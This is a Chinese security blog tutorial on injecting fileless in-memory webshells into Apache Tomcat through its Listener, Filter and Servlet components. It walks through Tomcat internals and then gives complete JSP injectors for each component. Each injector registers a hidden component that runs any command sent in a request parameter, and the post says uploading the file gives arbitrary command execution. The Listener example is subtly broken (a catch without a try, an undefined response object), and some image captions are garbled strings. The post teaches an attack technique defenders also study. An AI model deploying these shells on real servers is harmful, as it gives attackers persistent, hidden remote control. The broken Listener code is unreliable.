Tomcat 三大组件内存马

发布于 2022-01-28  695 次阅读


0x00 内存马

内存马是无文件攻击的一种常用手段,传统的webshell都是基于文件落地来进行命令执行,webshell文件保存在目标机器本地,容易被检测出来很容易就被清理掉。

而内存马则是在内存中写入webshell,达到远程控制Web服务器的一类内存马,相较之下检测难度大一些,更为安全。

0x01 Listener马

什么是Listener

在Javaweb中,Listener用于监听某个事件的发生,状态的改变。

Listener会监听三个域对象创建与销毁:

  • 监听ServletContext域对象的创建与销毁:
    • 创建:启动服务器时创建
    • 销毁:关闭服务器或者从服务器移除项目
  • 监听ServletRequest域对象的创建与销毁:
    • 创建:访问服务器任何资源都会发送请求(ServletRequest)出现,访问.html和.jsp和.servlet都会创建请求。
    • 销毁:服务器已经对该次请求做出了响应。
  • 监听HttpSession域对象的创建与销毁:
    • 创建:只要调用了getSession()方法就会创建,一次会话只会创建一次
    • 销毁:1.超时(默认为30分钟) 2.非正常关闭,销毁 3.正常关闭服务器(序列化)

相较之下,自然是监听ServletRequest域对象的创建与销毁最方便触发使用,只需要对url进行请求即可。

通过Listener进行命令执行

既然Listener可以监听ServletRequest域对象的创建与销毁,且存在两个方法,requestInitialized:在request对象创建时触发,requestDestroyed:在request对象销毁时触发,那么我们就可以在其中插入可以命令执行的代码来进行测试验证通过Listener来进行内存马是否可行。

可以写如下这样一个TestListener类,然后在web.xml中进行注册<listener><listener-class>com.example.TestListener</listener-class></listener>,访问http://localhost:8080/?cmd=calc可以得知命令执行能实现,那么就成功了第一步。

package com.example;

import org.apache.catalina.connector.Request;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import javax.servlet.http.*;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;

@WebListener()
public class TestListener implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        System.out.println("ServletRequest销毁了");
        HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
        if (req.getParameter("cmd") != null) {
            Process process = Runtime.getRuntime().exec(req.getParameter("cmd"));
            InputStream inputStream = process.getInputStream();
            BufferedReader buffer = new BufferedReader(new InputStreamReader(inputStream));
            String line;
            while ((line = buffer.readLine()) != null) {
                resp.getWriter().println(line);
            }
            resp.getWriter().flush();
        } catch (Exception ignored) {
        }
    }

    @Override
    public void requestInitialized(ServletRequestEvent arg0) {
        System.out.println("ServletRequest创建了");
    }
}

如何注册Listener?

那么我们要如何注册Listener?在进行内存马注入时,显然我们不能做到修改目标机器的web.xml来注册,可以先跟踪一下Listener是怎么注册的。

Tomcat使用两类Listener接口分别是org.apache.catalina.LifecycleListener和原生java.util.EvenListener

其中LifecycleListener多用于Tomcat初始化启动阶段,此时客户端的请求还没有进行解析,我们也就不能获取传入的参数从而执行想要执行的命令,显然是不太适用的。

而继承了EvenListener接口的ServletRequestListener接口用于对Request请求进行监听,可以获取客户端传入的参数,显然是很适合用于内存马。

public void requestInitialized(ServletRequestEvent sre);//request初始化,对实现客户端的请求进行监听
public void requestDestroyed(ServletRequestEvent sre);//对销毁客户端进行监听,即当执行request.removeAttribute("XXX")时调用
//ServletRequestEvent事件:
public ServletRequest getServletRequest();//取得一个ServletRequest对象
public ServletContext getServletContext();//取得一个ServletContext(application)对象

想要得知Listener是如何进行注册的,可以先在requestInitialized()处打上断点,当request初始化时就会调用requestInitialized()

通过IDEA调试,找到是在StandardContext#fireRequestInitEvent方法中调用的listener.requestInitialized(event);,这里的listener显然就是我们注册的listener,而他是通过this.getApplicationEventListeners()来进行获取。

public boolean fireRequestInitEvent(ServletRequest request) {
    Object[] instances = this.getApplicationEventListeners();
    if (instances != null && instances.length > 0) {
        ServletRequestEvent event = new ServletRequestEvent(this.getServletContext(), request);
        Object[] var4 = instances;
        int var5 = instances.length;

        for(int var6 = 0; var6 < var5; ++var6) {
            Object instance = var4[var6];
            if (instance != null && instance instanceof ServletRequestListener) {
                ServletRequestListener listener = (ServletRequestListener)instance;

                try {
                    listener.requestInitialized(event);
                } catch (Throwable var10) {
                    ExceptionUtils.handleThrowable(var10);
                    this.getLogger().error(sm.getString("standardContext.requestListener.requestInit", new Object[]{instance.getClass().getName()}), var10);
                    request.setAttribute("javax.servlet.error.exception", var10);
                    return false;
                }
            }
        }
    }

    return true;
}

来看StandardContext#getApplicationEventListeners,返回了this.applicationEventListenersList.toArray(),是保存了所有Listener的数组,往上就是找在哪将Listener添加到这个数组中的。

public Object[] getApplicationEventListeners() {
    return this.applicationEventListenersList.toArray();
}

搜索一下applicationEventListenersList,很容易就找到了在StandardContext#addApplicationEventListener往数组applicationEventListenersList中添加了listener,那么我们只需要想办法调用这个方法,就可以将我们的Listener进行注册了。

public void addApplicationEventListener(Object listener) {
    this.applicationEventListenersList.add(listener);
}

内存马编写

下面就是对内存马jsp文件进行编写。

首先要获取StandardContext对象,有几种方法来获取。

StandardContext 获取

已有request对象的情况

可以先获取HttpRequest对象,再通过该对象的getServletContext方法获取servletContext对象,并一步一步获取到StandardContext对象。关于Tomcat中的三个Context可以看一下这篇文章关于Tomcat中的三个Context的理解

<%
    javax.servlet.ServletContext servletContext = request.getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
    System.out.println(standardContext);
%>

除此之外,我们还可以通过如下方法快捷获取StandardContext对象。

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
%>

在进行访问时,此时的Request对象是用的Facde模式来进行包装,而这个RequestFacade对象的request属性就是Request对象,可以通过反射来获取包装的Request对象。

BJYT11MTTKV6VMMV~I%6H

而在Request对象的mappingData属性中的context属性就是StandardContext对象。

%_9ARXUH9O$}ERHHITM

调用Request#getContext即可获取StandardContext对象。

public Context getContext() {
    return this.mappingData.context;
}
没有request对象的情况

由于Tomcat处理请求的线程中,存在ContextLoader对象,而这个对象又保存了StandardContext对象,所以很方便就获取了。适用于Tomcat 8 9

<%
    org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = 
            (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();

    StandardContext standardContext = (StandardContext) 
            webappClassLoaderBase.getResources().getContext();
%>

更多的情况这里就不一一细说了,可参考Java内存马:一种Tomcat全版本获取StandardContext的新方法学习。

完整Listener内存马

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
    public class InjectListener implements ServletRequestListener {
        @Override
        public void requestDestroyed(ServletRequestEvent sre) {
            System.out.println("ServletRequest销毁了");
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            if (req.getParameter("command") != null) {
                Process process = Runtime.getRuntime().exec(req.getParameter("command"));
                InputStream inputStream = process.getInputStream();
                BufferedReader buffer = new BufferedReader(new InputStreamReader(inputStream));
                String line;
                while ((line = buffer.readLine()) != null) {
                    resp.getWriter().println(line);
                }
                resp.getWriter().flush();
            } catch (Exception ignored) {
            }
        }

        @Override
        public void requestInitialized(ServletRequestEvent arg0) {
            System.out.println("ServletRequest创建了");
        }
    }
%>
<% ;
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
%>
<%
    InjectListener injectListener = new InjectListener();
    context.addApplicationEventListener(injectListener);
%>

将此jsp文件上传,然后访问,传入参数command即可执行任意命令。

0x02 Filter马

什么是 Filter

Filter 过滤器与Listener同为 JavaWeb 的三大组件之一。Filter过滤器它的作用是拦截请求过滤响应拦截请求常见的应用场景有权限检查日记操作事务管理等等。

Filter过滤器接口有三个方法,分别是:

  • destroy()Filter销毁时调用,在Filter的生命周期中仅执行一次。
  • doFilter():过滤方法 主要是对requestresponse进行一些处理,然后交给下一个过滤器或Servlet处理。
  • init():初始化方法 接收一个FilterConfig类型的参数 该参数是对Filter的一些配置。

由此,我们内存马的逻辑代码自然是在doFilter()方法中进行书写。

通过Filter进行命令执行

同样,还是先写一个Filter来进行命令执行。

访问http://localhost:8080/?filter=calc可以得知命令执行能实现,那么就成功了第一步。

package com.example;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

@WebFilter(filterName = "TestFilter", urlPatterns = "/*")
public class TestFilter implements Filter {
    @Override
    public void destroy() {
    }

    @Override
    public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws ServletException, IOException {
        if (req.getParameter("filter") != null) {
            try {
                Process process = Runtime.getRuntime().exec(req.getParameter("filter"));
                InputStream inputStream = process.getInputStream();
                BufferedReader buffer = new BufferedReader(new InputStreamReader(inputStream));
                String line;
                while ((line = buffer.readLine()) != null) {
                    resp.getWriter().println(line);
                }
                resp.getWriter().flush();
            } catch (Exception ignored) {
            }
        }
        chain.doFilter(req, resp);
    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    }
}

如何注册Filter?

接下来的问题还是我们要如何注册Filter

init()方法是在Filter进行创建时执行的,所以我们选择在Filter()方法处打下断点。

调试看一下调用链,往上一步是ApplicationFilterConfig#initFilter调用this.filter.init(this)来对filter进行初始化。

image-20220128155611757

再往上就是ApplicationFilterConfig#getFilter,其中的filterClass就是我们的Filter的类名,而this.filterDef.getFilterClass()就是返回了this.filterClass,也就是说我们得找到我们的Filter是在哪添加到this.filterDef中的。

Filter getFilter() throws ClassCastException, ReflectiveOperationException, ServletException, NamingException, IllegalArgumentException, SecurityException {
    if (this.filter != null) {
        return this.filter;
    } else {
        String filterClass = this.filterDef.getFilterClass();
        this.filter = (Filter)this.context.getInstanceManager().newInstance(filterClass);
        this.initFilter();
        return this.filter;
    }
}

接着往上就是ApplicationFilterConfig类的创建方法,this.filterDef = filterDef

ApplicationFilterConfig(Context context, FilterDef filterDef) throws ClassCastException, ReflectiveOperationException, ServletException, NamingException, IllegalArgumentException, SecurityException {
    this.context = context;
    this.filterDef = filterDef;
    if (filterDef.getFilter() == null) {
        this.getFilter();
    } else {
        this.filter = filterDef.getFilter();
        context.getInstanceManager().newInstance(this.filter);
        this.initFilter();
    }
}

而创建ApplicationFilterConfig类的地方就在StandardContext#filterStart中,传入的第二个参数filterDef就是(FilterDef)entry.getValue()entry就是对HashMap filterDefs的迭代。

public boolean filterStart() {
    if (this.getLogger().isDebugEnabled()) {
        this.getLogger().debug("Starting filters");
    }

    boolean ok = true;
    synchronized(this.filterConfigs) {
        this.filterConfigs.clear();
        Iterator var3 = this.filterDefs.entrySet().iterator();

        while(var3.hasNext()) {
            Entry<String, FilterDef> entry = (Entry)var3.next();
            String name = (String)entry.getKey();
            if (this.getLogger().isDebugEnabled()) {
                this.getLogger().debug(" Starting filter '" + name + "'");
            }

            try {
                ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, (FilterDef)entry.getValue());
                this.filterConfigs.put(name, filterConfig);
            } catch (Throwable var8) {
                Throwable t = ExceptionUtils.unwrapInvocationTargetException(var8);
                ExceptionUtils.handleThrowable(t);
                this.getLogger().error(sm.getString("standardContext.filterStart", new Object[]{name}), t);
                ok = false;
            }
        }

        return ok;
    }
}

搜索一下找一下哪可以对filterDef进行添加,很快就找到了StandardContext#addFilterDef

public void addFilterDef(FilterDef filterDef) {
    synchronized(this.filterDefs) {
        this.filterDefs.put(filterDef.getFilterName(), filterDef);
    }

    this.fireContainerEvent("addFilterDef", filterDef);
}

在创建完ApplicationFilterConfig对象后,又调用了this.filterConfigs.put(name, filterConfig),将ApplicationFilterConfig对象与name一起放入了this.filterConfigs

所以我们要做的就是将构造好的FilterDef对象存入this.filterDefs,然后创建一个ApplicationFilterConfig对象存入this.filterConfigs

似乎到这里已经可以把Filter添加进去就已经可以注册Filter了?

Listener不同的是,Filter需要对其进行配置,常用配置项有:

  • urlPatterns:配置要拦截的资源,例如设置为/*就是拦截所有url。
  • initParams:配置初始化参数,跟Servlet配置一样
  • dispatcherTypes: 配置拦截的类型,可配置多个。默认为DispatcherType.REQUEST

而这些配置项我们还没有添加进去,接下来在我们的doFilter处打下断点,看看这些配置项在哪。

断点调试,往上一步到了ApplicationFilterChain#internalDoFilter,调用了filter.doFilter(request, response, this),而他是从this.filters中获取。

private void internalDoFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException {
    if (this.pos < this.n) {
        ApplicationFilterConfig filterConfig = this.filters[this.pos++];

        try {
            Filter filter = filterConfig.getFilter();
            if (request.isAsyncSupported() && "false".equalsIgnoreCase(filterConfig.getFilterDef().getAsyncSupported())) {
                request.setAttribute("org.apache.catalina.ASYNC_SUPPORTED", Boolean.FALSE);
            }

            if (Globals.IS_SECURITY_ENABLED) {
                Principal principal = ((HttpServletRequest)request).getUserPrincipal();
                Object[] args = new Object[]{request, response, this};
                SecurityUtil.doAsPrivilege("doFilter", filter, classType, args, principal);
            } else {
                filter.doFilter(request, response, this); // 调用我们的 filter.doFilter
            }

        } catch (ServletException | RuntimeException | IOException var15) {
            throw var15;
        } catch (Throwable var16) {
            Throwable e = ExceptionUtils.unwrapInvocationTargetException(var16);
            ExceptionUtils.handleThrowable(e);
            throw new ServletException(sm.getString("filterChain.filter"), e);
        }
    } else {
        ...
    }
}

往上就是ApplicationFilterChain#doFilter调用了internalDoFilter(),再往上就是StandardWrapperValve#invoke,调用了filterChain.doFilter(request.getRequest(), response.getResponse());,这个filterChain就是我们上面的ApplicationFilterChain类。

回溯一下,找到了这个对象的创建,ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet),在他的创建方法中,存在filterChain.addFilter的调用,往其中添加Filter,添加内容是对FilterMap[]的迭代处理。而filterMaps是从StandardContext中获取的。

StandardContext context = (StandardContext)wrapper.getParent();
FilterMap[] filterMaps = context.findFilterMaps();

......

for(var12 = 0; var12 < var11; ++var12) {
    filterMap = var10[var12];
    if (matchDispatcher(filterMap, dispatcher) && matchFiltersURL(filterMap, requestPath)) {
        filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
        if (filterConfig != null) {
            filterChain.addFilter(filterConfig);
        }
    }
}

在这断点看一下这个filterMaps有哪些配置选项,以便于我们可以构造。

image-20220128164321075

同样在StandardContext中也存在方法addFilterMap来设置filterMaps

public void addFilterMap(FilterMap filterMap) {
    this.validateFilterMap(filterMap);
    this.filterMaps.add(filterMap);
    this.fireContainerEvent("addFilterMap", filterMap);
}

内存马编写

综上,我们需要一个恶意的Filter类,然后通过这个类构造一个恶意的FilterDef类,将其添加到StandardContext中。然后构造这个过滤器的配置内容FilterMap,同样将其添加到StandardContext中。最后通过反射构造ApplicationFilterConfig类,将其存入StandardContext.filterDef中即可。

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.Map" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
    public class InjectFilter implements Filter {
        @Override
        public void destroy() {
        }

        @Override
        public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws ServletException, IOException {
            if (req.getParameter("InjectFilter") != null) {
                try {
                    Process process = Runtime.getRuntime().exec(req.getParameter("InjectFilter"));
                    InputStream inputStream = process.getInputStream();
                    BufferedReader buffer = new BufferedReader(new InputStreamReader(inputStream));
                    String line;
                    while ((line = buffer.readLine()) != null) {
                        resp.getWriter().println(line);
                    }
                    resp.getWriter().flush();
                } catch (Exception ignored) {
                }
            }
            chain.doFilter(req, resp);
        }

        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
        }
    }

%>
<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();

    Field configs = context.getClass().getDeclaredField("filterConfigs");
    configs.setAccessible(true);
    Map filterConfigs = (Map) configs.get(context);
%>
<%
    InjectFilter injectFilter = new InjectFilter();
    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(injectFilter);
    filterDef.setFilterName("InjectFilter");
    filterDef.setFilterClass(injectFilter.getClass().getName());
    context.addFilterDef(filterDef);

    FilterMap filterMap = new FilterMap();
    filterMap.setFilterName("InjectFilter");
    filterMap.addURLPattern("/*");
    context.addFilterMap(filterMap);

    Constructor constructor =
            ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
            constructor.newInstance(context, filterDef);
    filterConfigs.put("InjectFilter", filterConfig);
%>

0x03 Servlet马

什么是Servlet

相信学过Javaweb的师傅们,相对于三大组件中的ListenerFilterServlet应该更加熟悉。

Servlet是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。

Servlet有几个阶段。

  • 装载:启动服务器时加载Servlet的实例

  • 装载:启动服务器时加载Servlet的实例

  • 初始化:web服务器启动时或web服务器接收到请求时,或者两者之间的某个时刻启动。初始化工作有init()方法负责执行完成

  • 调用:即每次调用Servlet的service(),例如常用的HttpServlet,就会根据请求方式调用不同的方法,例如doGet()doPost()等。

  • 销毁:停止服务器时调用destroy()方法,销毁实例。

我们只需要让我们的Servlet继承HttpServlet类,然后重写doGet()方法即可。

通过Servlet进行命令执行

下面是一个可用于命令执行的Servlet的示例。访问http://localhost:8080/test?servlet=calc即可。

package com.example;

import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

@WebServlet("/test")
public class TestServlet extends HttpServlet {
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        if (req.getParameter("servlet") != null) {
            Process process = Runtime.getRuntime().exec(req.getParameter("servlet"));
            InputStream inputStream = process.getInputStream();
            BufferedReader buffer = new BufferedReader(new InputStreamReader(inputStream));
            String line;
            while ((line = buffer.readLine()) != null) {
                resp.getWriter().println(line);
            }
            resp.getWriter().flush();
        }
    }
}

如何注册Servlet?

想要动态注册Servlet,就要先了解什么是Wrapper

Tomcat由四大容器组成,分别是EngineHostContextWrapper。这四个组件是负责关系,存在包含关系。只包含一个引擎(Engine):

  • Engine(引擎):表示可运行的Catalina的servlet引擎实例,并且包含了servlet容器的核心功能。在一个服务中只能有一个引擎。同时,作为一个真正的容器,Engine元素之下可以包含一个或多个虚拟主机。它主要功能是将传入请求委托给适当的虚拟主机处理。如果根据名称没有找到可处理的虚拟主机,那么将根据默认的Host来判断该由哪个虚拟主机处理。

  • Host (虚拟主机):作用就是运行多个应用,它负责安装和展开这些应用,并且标识这个应用以便能够区分它们。它的子容器通常是 Context。一个虚拟主机下都可以部署一个或者多个Web App,每个Web App对应于一个Context,当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理。主机组件类似于Apache中的虚拟主机,但在Tomcat中只支持基于FQDN(完全合格的主机名)的“虚拟主机”。Host主要用来解析web.xml。

  • Context(上下文):代表 Servlet 的 Context,它具备了 Servlet 运行的基本环境,它表示Web应用程序本身。Context 最重要的功能就是管理它里面的 Servlet 实例,一个Context代表一个Web应用,一个Web应用由一个或者多个Servlet实例组成。

  • Wrapper(包装器):代表一个 Servlet,它负责管理一个 Servlet,包括的 Servlet 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器,它没有子容器了,所以调用它的 addChild 将会报错。

下图就表示了几者之间的关系。

知道了Wrapper的作用后,我们就要知道如何创建一个Wrapper了,我们可以通过StandardContext#createWapper方法来创建Wrapper对象,然后设置我们构造的Servlet的属性。

<%
    Wrapper newWrapper = context.createWrapper();
    String name = testServlet.getClass().getSimpleName();
    newWrapper.setName(name);
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(testServlet);
    newWrapper.setServletClass(testServlet.getClass().getName());
%>

下面开始调试,在org.apache.catalina.StandardContext#createWrapper方法处打下断点,找到是在哪创建的Wrapper对象。

网上追溯一下来到了org.apache.catalina.startup.ContextConfig#configureContext中,创建了Wrapper对象,然后设置了启动优先级LoadOnStartUp,以及servletName

......
while(var35.hasNext()) {
    ServletDef servlet = (ServletDef)var35.next();
    Wrapper wrapper = this.context.createWrapper();
    if (servlet.getLoadOnStartup() != null) {
        wrapper.setLoadOnStartup(servlet.getLoadOnStartup());
    }

    if (servlet.getEnabled() != null) {
        wrapper.setEnabled(servlet.getEnabled());
    }

    wrapper.setName(servlet.getServletName());
    ......
}

然后在下面又将这个wrapper添加到StandardContext中:this.context.addChild(wrapper);

接着运行到下面,调用了this.context.addServletMappingDecoded()来添加Servlet-Mapper进行映射。也就是将我们的servlet与url进行绑定。

while(var35.hasNext()) {
    Entry<String, String> entry = (Entry)var35.next();
    this.context.addServletMappingDecoded((String)entry.getKey(), (String)entry.getValue());
}

这样我们就知道了一个Servlet是怎么生成的了,接下来来看看是怎么将其添加的。

回到StandardContext#startInternal,可以看到Tomcat的加载顺序为:listener -> filter -> servlet。着重看一下servlet的部分,this.findChildren()会返回所有的child,也就是之前添加的wrapper。进入this.loadOnStartup()看一下。

if (ok && !this.listenerStart()) {
    log.error(sm.getString("standardContext.listenerFail"));
    ok = false;
}
......
if (ok && !this.filterStart()) {
    log.error(sm.getString("standardContext.filterFail"));
    ok = false;
}

if (ok && !this.loadOnStartup(this.findChildren())) {
    log.error(sm.getString("standardContext.servletFail"));
    ok = false;
}

这里存在一个判断,wrapper.getLoadOnStartup() >= 0才会进入if,将其添加到list中,而这个返回值就是this.loadOnStartup,即Servlet的启动顺序,在web.xml中使用<load-on-startup></load-on-startup>标签进行设置,或者在@WebServlet注解中使用loadOnStartup来设置。如果该wrapperloadOnStartup为默认值-1,则不会在启动时进行加载。

for(int var5 = 0; var5 < var4; ++var5) {
    Container child = var3[var5];
    Wrapper wrapper = (Wrapper)child;
    int loadOnStartup = wrapper.getLoadOnStartup();
    if (loadOnStartup >= 0) {
        Integer key = loadOnStartup;
        ArrayList<Wrapper> list = (ArrayList)map.get(key);
        if (list == null) {
            list = new ArrayList();
            map.put(key, list);
        }

        list.add(wrapper);
    }
}

在迭代判断完之后,在下面调用wrapper.load()list中的wrapper进行装载,装载所有的 Servlet 之后,就会根据具体请求进行初始化、调用、销毁一系列操作。

内存马编写

自此,我们就可以来编写servlet内存马了。

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.*" %>
<%!
    public class InjectServlet extends HttpServlet {
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
            if (req.getParameter("InjectServlet") != null) {
                Process process = Runtime.getRuntime().exec(req.getParameter("InjectServlet"));
                InputStream inputStream = process.getInputStream();
                BufferedReader buffer = new BufferedReader(new InputStreamReader(inputStream));
                String line;
                while ((line = buffer.readLine()) != null) {
                    resp.getWriter().println(line);
                }
                resp.getWriter().flush();
            }
        }
    }
%>
<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
%>
<%
    Servlet testServlet = new InjectServlet();
    Wrapper newWrapper = context.createWrapper();
    String name = testServlet.getClass().getSimpleName();
    newWrapper.setName(name);
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(testServlet);
    newWrapper.setServletClass(testServlet.getClass().getName());
%>
<%
    context.addChild(newWrapper);
    context.addServletMappingDecoded("/InjectServlet", name);
%>

参考资料

JAVA内存马"超简单剖析

Listener(监听器)的简单介绍

Tomcat容器攻防笔记之Listener内存马

Java内存马:一种Tomcat全版本获取StandardContext的新方法

Java Web之过滤器(Filter)

Java Filter型内存马的学习与实践

Servlet内存马

Java安全之基于Tomcat的Servlet&Listener内存马